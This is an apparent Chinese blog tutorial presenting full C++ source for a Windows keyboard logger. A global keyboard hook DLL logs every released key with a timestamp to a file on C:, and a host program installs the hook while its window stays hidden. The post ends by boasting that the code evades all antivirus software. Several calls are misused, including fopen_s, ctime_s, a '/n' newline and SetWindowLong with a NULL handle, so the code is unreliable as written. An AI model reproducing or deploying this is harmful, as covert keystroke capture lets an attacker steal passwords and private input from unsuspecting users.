如何实现Windows下的键盘监听

要实现键盘监听,有很多办法,本例程是使用的钩子程序实现的。

 

首先要建立一个动态库,源码如下(该源码来自网络,并非本人作品):

 

hookdll.cpp

#include <windows.h> #include <time.h> #include "string.h" #include "stdio.h" HINSTANCE hInst; //创造数据段 //#pragma 语句之后的所有初始化的变量都进入hookdata段中 #pragma data_seg("hookdata") HHOOK oldkeyhook = 0; //#pragma语句是数据段的结束标志 #pragma data_seg() //链接程序必须知道有个hookdata段 //连接语句"/SECTION:hookdata,RWS" //字母RWS是表明该段具有读、写、和共享属性 #pragma comment(linker,"/SECTION:hookdata,RWS") time_t NowTime = 0; #define DllExport extern "C"__declspec(dllexport) //钩子进程入口地址 DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam ); //设置钩子 DllExport void InstallHook(int nCode); // DllExport void EndHook(void); //dll入口 BOOL WINAPI DllMain(HINSTANCE hInstance,//dll实例句柄 ULONG What,//指定所发生的事件 LPVOID NotUsed)//保留参数 { switch(What) { case DLL_PROCESS_ATTACH://进程开始使用DLL hInst = hInstance; break; case DLL_PROCESS_DETACH://进程开始释放DLL break; case DLL_THREAD_ATTACH://进程已经创建一个新的线程 break; case DLL_THREAD_DETACH://进程已经舍弃一个线程 break; } return 1; } void InstallHook(int nCode) { //设置钩子 钩子类型(键盘消息) 应用程序的事件句柄 oldkeyhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyBoardProc,//钩子进程的入口地址 hInst,//应用程序的事件句柄 0);//装入钩子的线程标示 } //钩子进程入口地址 DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam ) { WPARAM j; FILE *fp; if( lParam & 0x80000000 ) { j = wParam; //fp = fopen( "c://Eddy.txt", "a" ) ; fp = fopen_s( "c://Eddy.txt", "a" ) ; time( &NowTime ) ; //fprintf ( fp, "%s", ctime( &NowTime ) ) ; fprintf ( fp, "%s", ctime_s( &NowTime ) ) ; fprintf( fp, "%4d/n", j ) ; fclose( fp ); } //用于对当前钩子链中的下一个钩子进程传递钩子信息 return CallNextHookEx(oldkeyhook,//当前钩子句柄 nCode,//传送到钩子进程的钩子代码 wParam,//传送到钩子进程的值。 lParam);//传送到钩子进程的值。 } void EndHook(void) { //钩子释放 UnhookWindowsHookEx(oldkeyhook); }

 

 

下面给出监听实现:

 

Header.h

#pragma once #include <windows.h> #define WINDOW_WIDTH 1024 #define WINDOW_HEIGHT 768 #define KEYDOWN( c ) (GetAsyncKeyState(c) & 0x8000 ? 1 : 0) #define KEYUP( c ) (GetAsyncKeyState(c) & 0x8000 ? 0 : 1)

 

Header.cpp

#pragma once #include <windows.h> #define WINDOW_WIDTH 1024 #define WINDOW_HEIGHT 768

 

Windows.cpp

#include "Header.h" #pragma comment( lib, "hook" ) extern"C"__declspec(dllimport) void InstallHook(int nCode); extern"C"__declspec(dllimport) void EndHook(void); LRESULT CALLBACK WndProc( HWND hWnd, UINT Message, WPARAM wParam, LPARAM lParam ) { switch ( Message ) { case WM_CREATE: InstallHook( TRUE ) ; break; case WM_DESTROY: EndHook() ; PostQuitMessage( 0 ); break; } return DefWindowProc( hWnd, Message, wParam, lParam ); } int WINAPI WinMain( IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd ) { HWND hWnd; MSG msg; WNDCLASS wc = { CS_VREDRAW | CS_HREDRAW, WndProc, NULL, NULL, hInstance, NULL, NULL, (HBRUSH)GetStockObject( BLACK_BRUSH ), NULL, "Windows" }; RegisterClass( &wc ); hWnd = CreateWindowEx( WS_EX_TOPMOST, "Windows", "demo", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL ); SetWindowLong(NULL,GWL_EXSTYLE,WS_EX_TOOLWINDOW); //UpdateWindow( hWnd ); //ShowWindow( hWnd, nShowCmd ); while ( true ) { if ( GetMessage( &msg, NULL, 0U, 0U ) ) { if ( msg.message == WM_QUIT ) { break; } TranslateMessage( &msg ); DispatchMessage( &msg ); } } UnregisterClass( "Windows", hInstance ) ; return 0; }

 

经过测试,该例程可躲避所有反病毒软件的查杀。

测试时间:2010年

 

 

 

 

 

 

 

 

你可能感兴趣的:(windows,null,dll,callback,FP,winapi)